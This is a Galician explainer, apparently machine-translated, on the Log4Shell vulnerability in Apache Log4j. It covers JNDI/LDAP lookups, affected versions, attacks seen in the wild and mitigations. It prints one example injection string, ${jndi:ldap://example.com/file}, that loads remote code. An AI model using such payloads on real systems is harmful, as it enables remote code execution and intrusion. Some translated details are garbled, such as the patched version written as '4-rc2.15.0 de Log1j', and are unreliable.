Índice analítico[Ocultar][Mostrar]
A finais de novembro de 2021, descubrimos unha ameaza importante para a ciberseguridade. Este exploit afectaría potencialmente a millóns de sistemas informáticos en todo o mundo.
Esta é unha guía sobre a vulnerabilidade Log4j e como un fallo de deseño ignorado deixou máis do 90% dos servizos informáticos do mundo abertos a ataques.
Apache Log4j é unha utilidade de rexistro baseada en Java de código aberto desenvolvida pola Apache Software Foundation. Escrito orixinalmente por Ceki Gülcü en 2001, agora forma parte de Apache Logging Services, un proxecto da Apache Software Foundation.
As empresas de todo o mundo usan a biblioteca Log4j para activar o inicio de sesión nas súas aplicacións. De feito, a biblioteca de Java é tan omnipresente que podes atopala en aplicacións de Amazon, Microsoft, Google e moito máis.
O protagonismo da biblioteca significa que calquera fallo potencial no código pode deixar millóns de ordenadores abertos á piratería. O 24 de novembro de 2021, a seguridade na nube un investigador que traballa para Alibaba descubriu un terrible defecto.
A vulnerabilidade Log4j, tamén coñecida como Log4Shell, existía desapercibida desde 2013. A vulnerabilidade permitía que actores maliciosos executasen código nos sistemas afectados que executaban Log4j. Foi divulgado publicamente o 9 de decembro de 2021
Os expertos do sector chaman a falla de Log4Shell maior vulnerabilidade da memoria recente.
Na semana seguinte á publicación da vulnerabilidade, os equipos de ciberseguridade detectaron millóns de ataques. Algúns investigadores mesmo observaron unha taxa de máis de cen ataques por minuto.
Como funciona?
Para entender por que Log4Shell é tan perigoso, necesitamos entender de que é capaz.
A vulnerabilidade Log4Shell permite a execución de código arbitrario, o que basicamente significa que un atacante pode executar calquera comando ou código nunha máquina de destino.
Como logra isto?
En primeiro lugar, necesitamos entender o que é o JNDI.
A Java Naming and Directory Interface (JNDI) é un servizo Java que permite aos programas Java descubrir e buscar datos e recursos mediante un nome. Estes servizos de directorio son importantes porque proporcionan un conxunto organizado de rexistros para que os desenvolvedores poidan consultar facilmente ao crear aplicacións.
O JNDI pode usar varios protocolos para acceder a un determinado directorio. Un destes protocolos é o Lightweight Directory Access Protocol ou LDAP.
Ao rexistrar unha cadea, Rexistro 4j realiza substitucións de cadea cando atopan expresións da forma ${prefix:name}
.
Por exemplo, a Text: ${java:version}
pode rexistrarse como Texto: versión de Java 1.8.0_65. Este tipo de substitucións son habituais.
Tamén podemos ter expresións como Text: ${jndi:ldap://example.com/file}
que usa o sistema JNDI para cargar un obxecto Java desde un URL a través do protocolo LDAP.
Isto carga efectivamente os datos procedentes dese URL na máquina. Calquera hacker potencial pode aloxar código malicioso nun URL público e esperar a que as máquinas que utilicen Log4j o rexistren.
Dado que o contido das mensaxes de rexistro conteñen datos controlados polo usuario, os hackers poden inserir as súas propias referencias JNDI que apunten aos servidores LDAP que controlan. Estes servidores LDAP poden estar cheos de obxectos Java maliciosos que o JNDI pode executar a través da vulnerabilidade.
O que empeora isto é que non importa se a aplicación é do lado do servidor ou do cliente.
Mentres exista un xeito de que o rexistrador lea o código malicioso do atacante, a aplicación aínda está aberta a explotacións.
Quen está afectado?
A vulnerabilidade afecta a todos os sistemas e servizos que utilizan APache Log4j, coas versións 2.0 ata a 2.14.1 incluída.
Varios expertos en seguridade aconsellan que a vulnerabilidade pode afectar a varias aplicacións que utilizan Java.
A falla descubriuse por primeira vez no videoxogo Minecraft, propiedade de Microsoft. Microsoft instou aos seus usuarios a actualizar o seu software Minecraft de edición Java para evitar calquera risco.
Jen Easterly, a directora da Axencia de Seguridade en Ciberseguridade e Infraestruturas (CISA) di que os vendedores teñen un gran responsabilidade para evitar que os usuarios finais exploten esta vulnerabilidade por parte de actores maliciosos.
"Os provedores tamén deberían comunicarse cos seus clientes para garantir que os usuarios finais saiban que o seu produto contén esta vulnerabilidade e deberían priorizar as actualizacións de software".
Segundo informa, os ataques xa comezaron. Symantec, unha empresa que ofrece software de ciberseguridade, observou un número variado de solicitudes de ataque.
Aquí tes algúns exemplos dos tipos de ataques que detectaron os investigadores:
- botnets
As redes bot son unha rede de ordenadores que están baixo o control dunha única parte atacante. Axudan a realizar ataques DDoS, roubar datos e outras estafas. Os investigadores observaron a botnet Muhstik en scripts de shell descargados do exploit Log4j.
- Trojan XMRig Miner
XMRig é un mineiro de criptomonedas de código aberto que usa CPU para minar o token Monero. Os cibercriminales poden instalar XMRig nos dispositivos das persoas para que poidan usar o seu poder de procesamento sen o seu coñecemento.
- Khonsari Ransomware
Ransomware refírese a unha forma de malware deseñada para cifrar ficheiros nun ordenador. Os atacantes poden esixir o pago a cambio de devolver o acceso aos ficheiros cifrados. Os investigadores descubriron o ransomware Khonsari en ataques Log4Shell. Diríxense a servidores Windows e fan uso do framework .NET.
Qué acontece a continuación?
Os expertos prevén que pode levar meses ou quizais anos en arranxar completamente o caos provocado pola vulnerabilidade Log4J.
Este proceso implica actualizar cada sistema afectado cunha versión parcheada. Aínda que todos estes sistemas estean parcheados, aínda existe a ameaza inminente de posibles portas traseiras que os hackers xa engadiron á xanela de que os servidores estaban abertos para atacar.
Moitos solucións e mitigacións existen para evitar que as aplicacións sexan explotadas por este erro. A nova versión 4-rc2.15.0 de Log1j cambiou varias opcións para mitigar esta vulnerabilidade.
Todas as funcións que usan JNDI desactivaranse de forma predeterminada e tamén se restrinxiron as buscas remotas. Desactivar a función de busca na súa configuración de Log4j axudará a diminuír o risco de posibles ataques.
Fóra de Log4j, aínda existe a necesidade dun plan máis amplo para evitar as explotacións de código aberto.
A principios de maio, a Casa Branca lanzou un orde executiva que tiña como obxectivo mellorar a ciberseguridade nacional. Incluía unha disposición para unha lista de materiais de software (SBOM) que era esencialmente un documento formal que contiña unha lista de todos os elementos necesarios para construír a aplicación.
Isto inclúe pezas como o de código aberto paquetes, dependencias e API utilizados para o desenvolvemento. Aínda que a idea dos SBOM son útiles para a transparencia, realmente axudará ao consumidor?
A actualización das dependencias pode ser demasiado complicada. As empresas só poden optar por pagar as multas en lugar de arriscarse a perder tempo extra buscando paquetes alternativos. Quizais estes SBOM só sexan útiles se o seu ámbito está limitado aínda máis.
Conclusión
O problema Log4j é máis que un problema técnico para as organizacións.
Os líderes empresariais deben ser conscientes dos riscos potenciais que poden ocorrer cando os seus servidores, produtos ou servizos dependen de código que eles mesmos non manteñen.
Confiar en aplicacións de código aberto e de terceiros sempre supón certo risco. As empresas deberían considerar elaborar estratexias de mitigación de riscos antes de que saian á luz novas ameazas.
Gran parte da web depende de software de código aberto mantido por miles de voluntarios en todo o mundo.
Se queremos manter a web un lugar seguro, os gobernos e as corporacións deberían investir en financiar esforzos de código aberto e axencias de ciberseguridade como CISA.
Deixe unha resposta